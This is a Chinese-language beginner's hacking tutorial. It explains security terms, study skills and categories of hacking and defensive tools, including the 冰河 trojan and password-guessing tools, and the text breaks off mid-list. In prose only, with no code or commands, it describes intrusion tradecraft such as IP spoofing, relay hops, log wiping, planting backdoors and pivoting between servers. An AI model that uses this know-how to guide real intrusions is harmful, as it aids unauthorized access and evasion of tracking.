

一 黑客的分类和行为 以我的理解，“黑客”大体上应该分为“正”、“邪”两类，正派黑客依靠自己掌握的知识帮助系统管理员找出系统中的漏洞并加以完善，而邪派黑客则是通过各种黑客技能对系统进行攻击、入侵或者做其他一些有害于网络的事情，因为邪派黑客所从事的事情违背了《黑客守则》，所以他们真正的名字叫“骇客”(Cracker)而非“黑客”(Hacker)，也就是我们平时经常听说的“黑客”(Cracker)和“红客”(Hacker)。无论那类黑客，他们最初的学习内容都将是本部分所涉及的内容，而且掌握的基本技能也都是是一样的。即便日后他们各自走上了不同的道路，但是所做的事情也差不多，只不过出发点和目的不一样而已。很多人曾经问我：“做黑客平时都做什么？是不是非常刺激？”也有人对黑客的理解是“天天做无聊且重复的事情”。实际上这些又是一个错误的认识，黑客平时需要用大量的时间学习，我不知道这个过程有没有终点，只知道“多多益善”。由于学习黑客完全出于个人爱好，所以无所谓“无聊”；重复是不可避免的，因为“熟能生巧”，只有通过不断的联系、实践，才可能自己体会出一些只可意会、不可言传的心得。在学习之余，黑客应该将自己所掌握的知识应用到实际当中，无论是哪种黑客做出来的事情，根本目的无不是在现实中掌握自己所学习的内容。黑客的行为主要有以下几种：一、学习技术：互联网的新技术一旦出现，黑客就必须立刻学习，并用最短的时间掌握这项技术，这里所说的掌握并不是一般的了解，而是阅读有关的“协议”(RFC)、深入了解此技术的机理，否则一旦停止学习，那么依靠他以前掌握的内容，并不能维持他的“黑客身份”超过一年。初级黑客要学习的知识是比较困难的，因为他们没有基础，所以学习起来要接触非常多的基本内容，然而今天的互联网给读者带来了许多的信息，这就需要初级学习者进行选择：太深的内容可能会给学习带来困难；太“花哨”的内容又对学习黑客没有用处。所以初学者不能贪多，应该尽量寻找一本书和自己的完整教材、循序渐进的进行学习。二、伪装自己：黑客的一举一动都会被服务器记录下来，所以黑客必须伪装自己使得对方无法辨别其真实身份，这需要有熟练的技巧，用来伪装自己的IP地址、使用跳板逃避跟踪、清理记录扰乱对方线索、巧妙避开防火墙等。伪装是需要非常过硬的基本功才能实现的，这对于初学者来说成的上“大境界”了，也就是说初学者不可能用短时间学会伪装，所以我并不鼓励初学者利用自己学习的知识对网络进行攻击，否则一旦自己的行迹败露，最终害的害是自己。如果有朝一成为了真正的黑客，我也同样不赞成你对网络进行攻击，毕竟黑客的成长是一种学习，而不是一种犯罪。三、发现漏洞：漏洞对黑客来说是最重要的信息，黑客要经常学习别人发现的漏洞，并努力自己寻找未知漏洞，并从海量的漏洞中寻找有价值的、可被利用的漏洞进行试验，当然他们最终的目的是通过漏洞进行破坏或者修补上这个漏洞。黑客对寻找漏洞的执著是常人难以想象的，他们的口号说“打破权威”，从一次又一次的黑客实践中，黑客也用自己的实际行动向世人印证了这一点——世界上没有“不存在漏洞”的程序。在黑客眼中，所谓的“天衣无缝”不过是“没有找到”而已。四、利用漏洞：对于正派黑客来说，漏洞要被修补；对于邪派黑客来说，漏洞要用来搞破坏。而他们的基本前提是“利用漏洞”，黑客利用漏洞可以做下面的事情：1 获得系统信息：有些漏洞可以泄漏系统信息，暴露敏感资料，从而进一步入侵系统；2 入侵系统：通过漏洞进入系统内部，或取得服务器上的内部资料、或完全掌管服务器；3 寻找下一个目标：一个胜利意味着下一个目标的出现，黑客应该充分利用自己已经掌管的服务器作为工具，寻找并入侵下一个系统；4 做一些好事：正派黑客在完成上面的工作后，就会修复漏洞或者通知系统管理员，做出一些维护网络安全的事情；5 做一些坏事：邪派黑客在完成上面的工作后，会判断服务器是否还有利用价值。如果有利

用价值，他们会在服务器上植入木马或者后门，便于下一次来访；而对没有利用价值的服务器他们决不留情，系统崩溃会让他们感到无限的快感！

### 第一章：黑客基础知识

#### 三.网络安全术语解释

##### 一、协议：

网络是一个信息交换的场所，所有接入网络的计算机都可以通过彼此之间的物理连接设备进行信息交换，这种物理设备包括最常见的电缆、光缆、无线WIFI和微波等，但是单纯拥有这些物理设备并不能实现信息的交换，这就好像人类的身体不能缺少大脑的支配一样，信息交换必须要具备软件环境，这种“软件环境”是人类实现规定好的一些规则，被称作“协议”，有了协议，不同的电脑可以遵照相同的协议使用物理设备，并且不会造成相互之间的“不理解”。

这种协议很类似于“摩尔斯电码”，简单的一点一横，经过排列可以有万般变化，但是假如没有“对照表”，谁也无法理解一分杂乱无章的电码所表述的内容是什么。电脑也是一样，它们通过各种预先规定的协议完成不同的使命，例如RFC1459协议可以实现IRC服务器与客户端电脑的通信。因此无论是黑客还是网络管理员，都必须通过学习协议达到了解网络运作机理的目的。

每一个协议都是经过多年修改延续使用至今的，新产生的协议也大多是在基层协议基础上建立的，因而协议相对来说具有较高的安全机制，黑客很难发现协议中存在的安全问题直接入手进行网络攻击。但是对于某些新型协议，因为出现时间短、考虑欠周到，也可能会因安全问题而被黑客利用。

对于网络协议的讨论，更多人则认为：现今使用的基层协议在设计之初就存在安全隐患，且无论网络进行什么样的改动，只要现今这种网络体系不进行根本变革，从根本上就无法杜绝网络黑客的出现。但是这种黑客机能已经超出了本书的范围，因而不在这里详细介绍。

##### 二、服务器与客户端：

最简单的网络服务形式是：若干台电脑做为客户端，使用一台电脑当作服务器，每一个客户端都具有向服务器提出请求的能力，而后由服务器应答并完成请求的动作，最后服务器会将执行结果返回给客户端电脑。这样的协议很多。例如我们平时接触的电子邮件服务器、网站服务器、聊天室服务器等都属于这种类型。另外还有一种连接方式，它不需要服务器的支持，而是直接将两个客户端电脑进行连接，也就是说每一台电脑都既是服务器、又是客户端，它们之间具有相同的功能，对等的完成连接和信息交换工作。例如P2P传输协议即属于此种类型。

从此看出，客户端和服务端分别是各种协议中规定的请求申请电脑和应答电脑。作为一般的上网用户，都是操作着自己的电脑（客户端），并且向网络服务器发出常规请求完成诸如浏览网页、收发电子邮件等动作的，而对于黑客来说则是通过自己的电脑（客户端）对其他电脑（有可能是客户端，也有可能是服务器）进行攻击，以达到入侵、破坏、窃取信息的目的。

### 三、系统与系统环境：

电脑要运作必须安装操作系统，如今流行的操作系统主要由UNIX Linux Mac BSD Windows2000 Windows95/98/Me Windows NT等，这些操作系统各自独立运行，它们有自己的文件管理、内存管理、进程管理等机制，在网络上，这些不同的操作系统既可以作为服务器、也可以作为客户端被使用者操作，它们之间通过“协议”来完成信息的交换工作。不同的操作系统配合不同的应用程序就构成了系统环境，例如Linux系统配合Apache软件可以将电脑构设成一台网站服务器，其他使用客户端的电脑可以使用浏览器来获得网站服务器上供浏览者阅读的文本信息；再如Windows2000配合Ftpd软件可以将电脑构设成一台文件服务器，通过远程ftp登陆可以获得系统上的各种文件资源等。

### 四、IP地址和端口：

我们上网，可能会同时浏览网页、收发电子邮件、进行语音聊天.....如此多的网络服务项目，都是通过不同的协议完成的，然而网络如此之大，我们的电脑怎么能够找到服务项目所需要的电脑？如何在一台电脑上同时完成如此多的工作的呢？这里就要介绍到IP地址了。

每一台上网的电脑都具有独一无二的IP地址，这个地址类似于生活中人们的家庭地址，通过网络路由器等多种物理设备（无需初级学习者理解），网络可以完成从一个电脑到另一个电脑之间的信息交换工作，因为他们的IP地址不同，所以不会出现找不到目标的混乱局面。但是黑客可以通过特殊的方法伪造自己电脑的IP地址，这样当服务器接受到黑客电脑（伪IP地址）的请求后，服务器会将应答信息传送到伪IP地址上，从而造成网络的混乱。当然，黑客也可以根据IP地址轻易的找到任何上网者或服务器，进而对他们进行攻击（想想现实中的入室抢劫），因而如今我们会看到很多关于《如何隐藏自己IP地址》的文章。

接下来我解释一下上面提到的第二个问题：一台电脑上为什么能同时使用多种网络服务。这好像北京城有八个城门一样，不同的协议体现在不同的网络服务上，而不同的网络服务则会在客户端电脑上开辟不同的端口（城门）来完成它的信息传送工作。当然，如果一台网络服务器同时开放了多种网络服务，那么它也要开放多个不同的端口（城门）来接纳不同的客户端请求。

网络上经常听到的“后门”就是这个意思，黑客通过特殊机能在服务器上开辟了一个网络服务，这个服务可以用来专门完成黑客的目的，那么服务器上就会被打开一个新的端口来完成这种服务，因为这个端口是供黑客使用的，因而轻易不会被一般上网用户和网络管理员发现，即“隐藏的端口”，故“后门”。

每一台电脑都可以打开65535个端口，因而理论上我们可以开发出至少65535种不同的网络服务，然而实际上这个数字非常大，网络经常用到的服务协议不过几十个，例如浏览网页客户端和服务端都使用的是80号端口，进行IRC聊天则在服务端使用6667端口、客户端使用1021端口等。

### 五、漏洞：

漏洞就是程序中没有考虑到的情况，例如最简单的“弱口令”漏洞是指系统管理员忘记屏蔽某些网络应用程序中的账号；Perl程序漏洞则可能是由于程序员在设计程序的时候考虑情况不完善出现的“让程序执行起来不知所措”的代码段，“溢出”漏洞则属于当初设计系统或者程序的时候，没有预先保留出足够的资源，而在日后使用程序是造成的资源不足；特殊包炸弹实际上是程序在分析某些特殊数据的时候出现错误等.....

总而言之，漏洞就是程序设计上的人为疏忽，这在任何程序中都无法绝对避免，黑客也正是利用种种漏洞对网络进行攻击的，本章开始的字眼儿“网络安全”实际就是“漏洞”的意思

。黑客利用漏洞完成各种攻击是最终的结果，其实真正对黑客的定义就是“寻找漏洞的人”，他们并不是以网络攻击为乐趣，而是天天沉迷在阅读他人的程序并力图找到其中的漏洞。应该说，从某种程度上讲，黑客都是“好人”，他们为了追求完善、建立安全的互联网才投身此行的，只不过因为有的黑客或者干脆是伪黑客经常利用具有攻击性的漏洞，近些年人们才对黑客有了畏惧和敌视的心理。

### 六、加密与解密：

在“协议”的讲解中，我提到了“由于网络设计的基层存在问题……”，简单的说这一问题是允许所有上网者参与信息共享，因而对某些商业、个人隐私在网络上的传送，就会暴露在众目睽睽之下，我们的信用卡、个人电子邮件等都可以通过监听或者截获的方式被他人的至，如何才能让这些信息安全呢？读者也许想到了“二战中”的间谍战：参战国家在使用电报的时候，都对代码进行了加密处理，只有知道了“密码簿”的接收者，才可以进行译码工作。正是这种古老的加密方式，在现代化的网络上也依然存在它旺盛的生命力，通过加密处理的信息在网络上传送，无论谁拿到了这份文件，只要没有“密码簿”仍然是白费力气的。网络上最长使用的是设置个人密码、使用 DES 加密锁，这两种加密方式分别可以完成用户登陆系统、网站、电子邮件信箱和保护信息包的工作，而黑客所要进行的工作，就是通过漏洞、暴力猜测、加密算法反向应用等方式获得加密档案的明文，有人把“魔高一尺、道高一丈”用在这里，的确是在恰当不过了！网络上的加密方法和需要验证密码的系统层出不穷，黑客也在寻找破解这些系统的种种办法。

可以说，“漏洞”和“解密”是两个完全不同的黑客领域，对于不同的学习者对他们的偏好，将会直接影响到今后将会成为的黑客类型，因而在二者之间的选择，应根据个人喜好进行，本书将会侧重学习“漏洞”方面的知识。

### 七、特洛伊木马：

特洛伊木马是一个程序，这个程序可以做程序设计者有意设计的未出现过的事情。但是对于特洛伊木马所做的操作，不论是否用户了解，都是不被赞同的。根据某些人的认识，病毒是特洛伊木马的一个特例，即：能够传播到其他的程序当中（也就是将这些程序也变成特洛伊木马）。根据另外的人的理解，不是有意造成任何损坏的病毒不是特洛伊木马。最终，不论如何定义，许多人仅仅用“特洛伊木马”来形容不能复制的带有恶意的程序，以便将特洛伊木马与病毒区分开。

## 二 黑客应掌握的基本技能

从这一节开始，我们就真正踏上学习黑客的道路了，首先要介绍的是作为一名初级黑客所必须掌握的基本技能，学习这可以通过这一节的阅读了解到黑客并不神秘，而且学习起来很容易上手。为了保证初学者对黑客的兴趣，所以本书采取了循环式进度，也就是说每一章节的内容都是独立、全面的，学习者只有完整的学习过一章的内容，才能够进而学习下一章的内容。

### 一、了解一定量的英文：

学习英文对于黑客来说非常重要，因为现在大多数资料和教程都是英文版本，而且有关黑客的新闻也是从国外过来的，一个漏洞从发现到出现中文介绍，需要大约一个星期的时间，在这段时间内网络管理员就已经有足够的时间修补漏洞了，所以当我们看到中文介绍的时候，这个漏洞可能早就已经不存在了。因此学习黑客从一开始就要尽量阅读英文资料、使用英文

软件、并且及时关注国外著名的网络安全网站。

### 二、学会基本软件的使用：

这里所说的基本软件是指两个内容：一个是我们日常使用的各种电脑常用命令，例如 ftp ping ne等；另一方面还要学会有关黑客工具的使用，这主要包括端口扫描器、漏洞扫描器、信息截获工具和密码破解工具等。因为这些软件品种多，功能各不相同，所以本书在后面将会介绍几款流行的软件使用方法，学习者在掌握其基本原理以后，既可以选择适合自己的，也可以在“第二部分”中找到有关软件的开发指南，编写自己的黑客工具。

### 三、初步了解网络协议和工作原理：

所谓“初步了解”就是“按照自己的理解方式”弄明白网络的工作原理，因为协议涉及的知识多且复杂，所以如果在一开始就进行深入研究，势必会大大挫伤学习积极性。在这里我建议学习者初步了解有关 tcp/ip协议，尤其是浏览网页的时候网络是如何传递信息、客户端浏览器如何申请“握手信息”、服务器端如何“应答握手信息”并“接受请求”等内容，此部分内容将会在后面的章节中进行具体介绍。

### 四、熟悉几种流行的编程语言和脚本：

同上面所述一样，这里也不要求学习者进行深入学习，只要能够看懂有关语言、知道程序执行结果就可以了。建议学习者初步学习 C语言、asp和 cg 脚本语言，另外对于 htm超文本语言和 php java等做基本了解，主要学习这些语言中的“变量”和“数组”部分，因为语言之间存在内在联系，所以只要熟练掌握其中一们，其他语言也可以一脉相同，建议学习 C语言 htm超文本语言。

### 五、熟悉网络应用程序：

网络应用程序包括各种服务器软件后台程序，例如：wuftp Apache等服务器后台；还有网上流行的各种论坛、电子社区。有条件的学习者最好将自己的电脑做成服务器，然后安装并运行一些论坛代码，经过一番尝试之后，将会感性的弄清楚网络工作原理，这比依靠理论学习要容易许多，能够达到事半功倍的效果！

## 学习黑客的基本环境

### 一、操作系统的选择：

我们经常听说黑客酷爱 Linux系统，这是因为 Linux相对Windows提供了更加灵活的操作方式，更加强大的功能。例如对于 IP地址的伪造工作，利用 Linux系统编写特殊的 IP头信息可以轻松完成，然而在Windows系统下却几乎不可能做到。但是 Linux也有它不足的一面，这个系统的命令庞杂、操作复杂，并不适合初学者使用，而且对于个人学习者，并没有过多的人会选择放弃“舒适”的Windows 放弃精彩的电脑游戏和便捷的操作方式，去全心投入黑客学习中。而且对于初学黑客的学习者来说，大多数网络知识都可以在Windows系统中学习，相对 Linux系统，Windows平台下的黑客软件也并不在少数，另外通过安装程序包，Windows系统中也可以调试一定量的程序，因此初步学习黑客没有必要从Linux入手。

本书使用的平台WindowsME，因为对于个人用户来说，NT或者 2000多少有些苛刻——系统配置要求太高；然而使用 95或者 98又缺少某些必要的功能——NET TELNET命令不完善。但是本书的大部分内容测试漏洞，从远程服务器出发，所以也不是非要WindowsME操作系统进行学习，对于少数系统版本之间的差异，学习者可以和我联系获得相应系统的学习方法。

### 二、需要的常用软件：

除了基本的操作系统以外，学习者还需要安装各类扫描器，之后下载一个比较优秀的木马软件、一个监听类软件，除此以外别无它求。如果有必要，读者可以自行安装本文上述软件，然后学习其用法，但是我要告诉你，对于各类炸弹、还有网络上各式各样的黑客软件，在学习完本书后，你都可以自己制作、自己开发，根本没有必要使用他人编写的软件。

对于扫描器和监听软件，我给出以下建议，并且在本书的后面还会对这几个软件进行详细介绍：

扫描器：??

监听软件：??

木马：??

### 三、额外的工具：

如果可以安装下面的工具，将会对学习黑客有莫大的帮助，当然下面的软件主要是学习额外内容并为“第二部分”学习作铺垫用的，所以没有也不会妨碍本书的学习。

#### 1 后台服务器：

拥有某些网络应用的后台服务程序，可以将自己的电脑设置成一个小服务器，用来学习相应的网络应用，从“内部”了解其运作机理，这将会大大提高自己对服务器的感性认识，同时还能够在激活服务器的时候；监测自己服务器上的数据，如果有其他黑客来攻击，则可以清晰的记录下对方的攻击过程，从而学习到更多的黑客攻击方法。对于本书而言，主要介绍网站的 Perl 和 asp 等脚本语言漏洞，所以可以安装一个 IIS 或者 HTTPD。然后在安装

ActivePerl，使自己的服务器具备编译 cgi 和 perl 脚本的能力。使用自己的服务器还有一个好处，可以节省大量的上网时间，将学习、寻找漏洞的过程放到自己的电脑上，既节省了金钱、有不会对网络构成威胁，一举两得。

#### 2 C语言编译平台：

今后在学习黑客的路途中，将会遇到很多“属于自己的问题”，这些问题网络上的其他人可能不会注意，所以无法找到相应的程序，这个时候学习者就要自己动手开发有关的工具了，所以安装一个 Borland C++ 将会非常便捷，通过这个编译器，学习者既可以学习 C 语言，也能够修改本书后面列出的一些小程序，打造一个属于自己的工具库。

### 四、网络安全软件分类

现在我们来了解一下有关网络安全软件的分类，因为学习黑客知识是两个相互联系的过程：既学习如何黑，还要学会如何防止被黑。

#### 1 防火墙：

这是网络上最常见的安全机制软件，防火墙有硬件的、也有软件的，大多数读者看到的可能更多都是软件防火墙。其功能主要是过滤垃圾信息（保证系统不会受到炸弹攻击）、防止蠕虫入侵、防止黑客入侵、增加系统隐私性（对敏感数据进行保护）、实时监控系统资源，防止系统崩溃、定期维护数据库，备份主要信息……防火墙可以将系统本身的漏洞修补上，让黑客没有下手的机会。另外对于拥有局域网的企业来说，防火墙可以限制系统端口的开放，禁止某些网络服务（杜绝木马）。

#### 2 检测软件：

互联网上有专门针对某个黑客程序进行清除的工具，但是这类软件更多是集成在杀毒软件或者防火墙软件内的，对于系统内的木马、蠕虫可以进行检测并清除，软件为了保护系统不受侵害，会自动保护硬盘数据、自动维护注册表文件、检测内容可以代码、监测系统端口开放状态等。如果用户需要，软件还可以编写有关的脚本对指定端口进行屏蔽（防火墙一样具备

此功能)。

### 3 备份工具：

专门用来备份数据的工具可以帮助服务器定期备份数据，并在制定时间更新数据，这样即使黑客破坏了服务器上的数据库，软件也可以在短时间内完全修复收到入侵的数据。另外对于个人用户，这类软件可以对硬盘进行完全映像备份，一旦系统崩溃，用户利用这类软件可以将系统恢复到原始状态，例如Ghos就是这类软件中的佼佼者。

### 4 日志纪录、分析工具：

对于服务器来说，日志文件是必不可少的，管理员可以通过日志了解服务器的请求类型和请求来源，并且根据日志判断系统是否受到黑客攻击。通过日志分析软件，管理员可以轻松的对入侵黑客进行反追踪，找到黑客的攻击来源，进而抓不黑客。这也就是为什么黑客在攻击的时候多采用IP地址伪装、服务器跳转，并在入侵服务器之后清除日志文件的原因。

## 五.常用黑客软件用途分类

### 一、防范：

这是从安全的角度出发涉及的一类软件，例如防火墙、查病毒软件、系统进程监视器、端口管理程序等都属于此类软件。这类软件可以在最大程度上保证电脑使用者的安全和个人隐私，不被黑客破坏。网络服务器对于此类软件的需要也是十分重视的，如日志分析软件、系统入侵软件等可以帮助管理员维护服务器并对入侵系统的黑客进行追踪。

### 二、信息搜集：

信息搜集软件种类比较多，包括端口扫描、漏洞扫描、弱口令扫描等扫描类软件；还有监听、截获信息包等间谍类软件，其大多数属于亦正亦邪的软件，也就是说无论正派黑客、邪派黑客、系统管理员还是一般的电脑使用者，都可以使用者类软件完成各自不同的目的。在大多数情况下，黑客使用者类软件的频率更高，因为他们需要依靠此类软件对服务器进行全方位的扫描，获得尽可能多的关于服务器的信息，在对服务器有了充分的了解之后，才能进行黑客动作。

### 三、木马与蠕虫：

这是两种类型的软件，不过他们的工作原理大致相同，都具有病毒的隐藏性和破坏性，另外此类软件还可以由拥有控制权的人进行操作，或由事先精心设计的程序完成一定的工作。当然这类软件也可以被系统管理员利用，当作远程管理服务器的工具。

### 四、洪水：

所谓“洪水”即信息垃圾炸弹，通过大量的垃圾请求可以导致目标服务器负载超负荷而崩溃，近年来网络上又开始流行DOS分散式攻击，简单地说也可以将其归入此类软件中。洪水软件还可以用作邮件炸弹或者聊天式炸弹，这些都是经过简化并由网络安全爱好者程序化的‘傻瓜式’软件，也就是本书一开始指责的“伪黑客”手中经常使用的软件。

### 五、密码破解：

网络安全得以保证的最实用方法是依靠各种加密算法的密码系统，黑客也许可以很容易获得一份暗文密码文件，但是如果没有加密算法，它仍然无法获得真正的密码，因此使用密码破解类软件势在必行，利用电脑的高速计算能力，此类软件可以用密码字典或者穷举等方式还原经过加密的暗文。

### 六、欺骗：

如果希望获得上面提到的明文密码，黑客需要对密文进行加密算法还原，但如果是一个复杂的密码，破解起来就不是那么简单了。但如果让知道密码的人直接告诉黑客密码的原型，是不是更加方便？欺骗类软件就是为了完成这个目的而设计的。

### 七、伪装：

网络上进行的各种操作都会被 ISP 服务器记录下来，如果没有经过很好的伪装就进行黑客动作，很容易就会被反跟踪技术追查到黑客的所在，所以伪装自己的 IP 地址、身份是黑客非常重要的一节必修课，但是伪装技术需要高深的网络知识，一开始没有坚实的基础就要用到这一类软件了。

## 四.常用黑客软件性质分类

### 一、扫描类软件：

扫描是黑客的眼睛，通过扫描程序，黑客可以找到攻击目标的 IP 地址、开放的端口号、服务器运行的版本、程序中可能存在的漏洞等。因而根据不同的扫描目的，扫描类软件又分为地址扫描器、端口扫描器、漏洞扫描器三个类别。在很多人看来，这些扫描器获得的信息大多数都是没有用处的，然而在黑客看来，扫描器好比黑客的眼睛，它可以让黑客清楚的了解目标，有经验的黑客则可以将目标“摸得一清二楚”，这对于攻击来说是至关重要的。同时扫描器也是网络管理员的得力助手，网络管理员可以通过它既是了解自己系统的运行状态和可能存在的漏洞，在黑客“下手”之前将系统中的隐患清除，保证服务器的安全稳定。

现在网络上很多扫描器在功能上都设计的非常强大，并且综合了各种扫描需要，将各种功能集成于一身。这对于初学网络安全的学习者来说无疑是个福音，因为只要学习者手中具备一款优秀的扫描器，就可以将信息收集工作轻松完成，免去了很多繁琐的工作。但是对于一个高级黑客来说，这些现成的工具是远远不能胜任的，他们使用的程序大多自己编写开发，这样在功能上将会完全符合个人意图，而且可以针对新漏洞既是对扫描器进行修改，在第一时间获得最宝贵的目标资料。本书此部分将会介绍扫描器的具体使用方法，而在第二部分中则会具体讲述如何开发这些扫描器，请读者务必循序渐进，否则将会给自己的学习带来很多不必要的烦恼。

### 二、远程监控类软件：

远程监控也叫做“木马”，这种程序实际上是在服务器上运行一个客户端软件，而在黑客的电脑中运行一个服务端软件，如此一来，服务器将会变成黑客的服务器的“手下”，也就是说黑客将会利用木马程序在服务器上开一个端口，通过这种特殊的木马功能对服务器进行监视、控制。因此，只要学习者掌握了某个木马的使用和操作方法，就可以轻易接管网络服务器或者其他上网者的电脑。

在控制了服务器之后，黑客的攻击行动也就接近尾声了，然而在做这件事情之前，黑客必须想办法让服务器运行自己木马的那个“客户端程序”，这就需要利用漏洞或者进行欺骗。欺骗最简单，就是想办法让操作服务器的人（系统管理员之类）运行黑客的客户端程序，而利用漏洞则要初学者阅读完本书后面的内容才能够做到了。

### 三、病毒和蠕虫：

首先声明一下：编写病毒的做法并不属于黑客。病毒只不过是一种可以隐藏、复制、传播自己的程序，这种程序通常具有破坏作用，虽然病毒可以对互联网造成威胁，然而它并没有



图寻找程序中的漏洞，所以制作病毒还有病毒本身对黑客的学习都没有实际意义。

之所以提到病毒，是因为蠕虫和病毒有很多相似性，如虫也是一段程序，和病毒一样具有隐藏、复制、船舶自己的功能。不同的是蠕虫程序通常会寻找特定的系统，利用其中的漏洞形成传播自己和破坏系统的作用，另外蠕虫程序可以将收到攻击的系统中的资料传送到黑客手中，这要看蠕虫设计者的意图，因而蠕虫是介于木马和病毒之间的一类程序。

计算机蠕虫是自包含的程序 (或是一套程序)，它能传播它自身功能的拷贝或它的某些部分到其他的计算机系统中 (通常是经过网络连接)。蠕虫的制造需要精深的网络知识，还要具备高超的编程水平，对于一个初学黑客的学习者来说，蠕虫的制造和使用都是非常难理解的，并且大多数蠕虫攻击的对象是 Linux 系统，而本书所使用的学习平台是 Windows 95/98 或 Windows NT/2000，因而我同样建议初学者不要过多的涉及这部分内容，有关此部分内容也将会在《攻学兼防》的第二部分中有所介绍。

### 四、系统攻击和密码破解：

这类软件大多数都是由高级黑客编写出来的，供初级黑客使用的现成软件，软件本身不需要使用者具备太多的知识，使用者只要按照软件的说明操作就可以达到软件的预期目的，因而这类软件不具备学习黑客知识的功效。不过这类软件对于黑客很重要，因为它可以大幅度减小黑客的某些繁琐工作，使用者经过对软件的设置就可以让软件自动完成重复的工作，或者由软件完成大量的猜测工作，充分利用剩余时间继续学习网络知识。

系统攻击类软件主要分为信息炸弹和破坏炸弹。网络上常见的垃圾电子邮件就是这种软件的“杰作”，还有聊天室中经常看到的“踢人”、“骂人”类软件、论坛的垃圾灌水器、系统蓝屏炸弹也都属于此类软件的变异形式。如果学习者能够认真学习黑客知识，最终可以自己编写类似的工具，但如果某个人天天局限于应用此类软件上，他将永远是一个“伪黑客”。密码破解类软件和上面的软件一样，完全依靠它将对学习黑客毫无帮助。对于真正的黑客来说，这种软件可以帮助寻找系统登陆密码，相对于利用漏洞，暴力破解密码要简单许多，但是效率会非常低，但是真正的黑客无论是使用密码破解软件还是利用漏洞进入系统之后，都达到了自己入侵的目的，因此对于如何进入系统，对于某些溺爱系统攻击的黑客来说无关紧要。值得一提的是：真正执著于漏洞分析的黑客是从来不使用这种软件的，而我向来将分析漏洞作为至高无上的工作，所以也尽量不去接触此类软件。

### 五、监听类软件：

通过监听，黑客可以截获网络的信息包，之后对加密的信息包进行破解，进而分析包内的数据，获得有关系统的信息；也可能截获个人上网的信息包，分析的到上网账号、系统账号、电子邮件账号等个人隐私资料。监听类软件最大的特点在于它是一个亦正亦邪的，因为网络数据大多经过加密，所以用它来获得密码比较艰难，因而在更多的情况下，这类软件是提供给程序开发者或者网络管理员的，他们利用这类软件进行程序的调试或服务器的管理工作。

## 网络流行黑客软件简介

一、国产经典软件简介（先介绍写老软件，但其在国产黑客业内有举足轻重的作用。）

### 溯雪

密码探测器：利用溯雪可以轻松地完成基于 web 形式的各种密码猜测工作，例如 email

forum中的注册用户密码等。软件采取多线程编写，除了支持字典和穷举以外，软件最大的特色是可以自己编写猜测规则，例如可以按照中文拼音或者英文单词拼写规则随机组合出字典文件，最大程度上保证了猜测的准确性。

#### 乱刀

密码破解：乱刀可以破解 unix系统中的密码暗文，对于取得了 etc/passwd文件的黑客来说是必不可少的。

#### 天网

防火墙软件：中国第一套通过公安部认证的软硬件集成防火墙，能有效的防止黑客入侵，抵御来自外部网络的攻击，保证内部系统的资料不被盗取，它根据系统管理者设定的安全规则把守企业网络，提供强大的访问控制、身份认证、应用选通、网络地址转换、信息过滤、虚拟专网、流量控制、虚拟网桥等功能。

#### 冰河

木马类软件：国内响当当的木马软件，知名度绝不亚于 BO, 主要用于远程监控。自动跟踪屏幕变化、记录各种口令信息、获取系统信息、限制系统功能、任意操作文件及注册表、远程关机、发送信息等多种监控功能。此软件的一大特色是可以由使用者自己设置需要占用的端口，如此一来监控类软件就很难从端口号上直接判断系统是否存在冰河了。

#### 小分析家

监测类软件：免费网络协议分析工具，这个工具的特点是界面简单实用，与国外的一些 sniffer产品相比，如 Netxray, 结果更为直观。此软件为免费版本，只能运行在 NT系统下同时编写此软件的公司还提供了软件的商业版本“网警”。

#### 快速搜索

端口扫描器：快速搜索是一个在网络上搜索服务器的软件，可以根据给定的地址和端口号查找机器。具有多线程同时搜索技术，可以将搜索速度提高到单线程的十倍以上。

其他：针对 2000/XP扫描的 D-TOOLS等。

## 二、常见网络安全软件简介

### Local Port Scanner

本地端口扫描器：通过这个软件可以监测本地电脑被打开的端口。此软件可以监测大多数黑客入侵或者木马占用的端口，它有五种不同的扫描方式并可以获得有关端口的详细扫描信息。

### A-spy

系统进程察看器：A-spy可以监测 Windows系统启动过程中调用的所有程序、执行的进程，并将结果保存在日志文件中。这个软件的用途是检查系统是否被安置了木马程序，同时软件还可以对系统启动需要调用的程序进行增加、删除和编辑等操作，改变调用程序之间的先后顺序，软件支持包括 NT、2000在内的所有 Windows平台，具有 17种方式清楚木马程序。

### Netmon

图形化 Netsta命令：Netmon是图形化的 Netsta命令，它运行在 Windows系统中，可以察看系统的 TCP、UDP连接状态，同时此软件提供了一份完整的木马、蠕虫占用端口清单，可以快速了解系统是否存在安全问题。

### LANguard Network Scanner

局域网资料收集器：LANguard允许使用者扫描局域网内部的搜索电脑，搜集他们的 netbios信息、打开端口、共享情况和其他相关资料，这些资料及可以被黑客利用进行攻击，也可以

## 黑客入门 (超级详细版)

被管理员利用进行安全维护，通过它可以强行关闭指定端口和共享目录。

Leechsoft's NetMonitor

TCP/IP状态分析程序：这个软件使用于系统安全管理员、网络程序开发员、一般的拥护。此工具可以显示电脑在上网状态下存在的 TCP/IP 连接，同时还能分析是否有其他人正在监视上网者电脑中的某个端口，同时此工具内部还有一个功能强大的端口扫描程序。

Win Trinoo Server Sniper

清除 Win.Trinoo Server 程序：Win.Trinoo 是一个类似 DOS 攻击的木马程序，被植入它的电脑将变成一台 Win.Trinoo Server，黑客通过这个 Server 能够“借刀杀人”攻击其他电脑系统。Win Trinoo Server Sniper 可以高速的监测电脑是否存在此问题。

SubSeven Server Sniper

清除 SubSeven Server 程序：同上面的工具一样，SubSeven 也是一个木马程序，而 SubSeven Server Sniper 则是用来检测并清除 SubSeven 而设计的。不同的是，这个软件不但可以清楚 SubSeven，而且还能搜集攻击者在您电脑中留下的蛛丝马迹，找到攻击者的 IP 号码、email 地址等内容，从而为反跟踪提供了详尽的信息。

Attacker

端口监听程序：这是一个 TCP/UDP 端口监听程序，它可以常驻系统并在危险端口打开的时候发出警告信息，保证个人上网隐私的安全性。

BlackICE Watch

BlackICE 插件：这个插件可以完善 BlackICE 的结果列表，让列表更加详尽，同时该插件还提供了更好的结果分类查询功能，并且可以对结果进行复制、编辑等操作。另外此插件为 BlackICE 提供了声音，可以设置软件使用过程中的提醒、警告的音效。

Isecure IP Scanner

netbios 共享扫描器：黑客利用 netbios 的共享可以进入存在问题的电脑并对硬盘进行操作，同时还可以获得入侵电脑上的隐私资料。这个扫描器就是专门为防止此类事件发生开发的，运行软件会自动扫描目标并报告有关资料。

AnalogX Port Blocker

端口屏蔽程序：当使用者的电脑上开放某个端口的时候，任何人都可以通过其开放端口访问相应资源，而 AnalogX Port Blocker 可以屏蔽某个端口，或者设置特殊 IP 地址禁止对指定端口的请求，这从一定程度上方便了程序调试人员为在本地系统上从事软件的测试工作。

bu Dummy Server

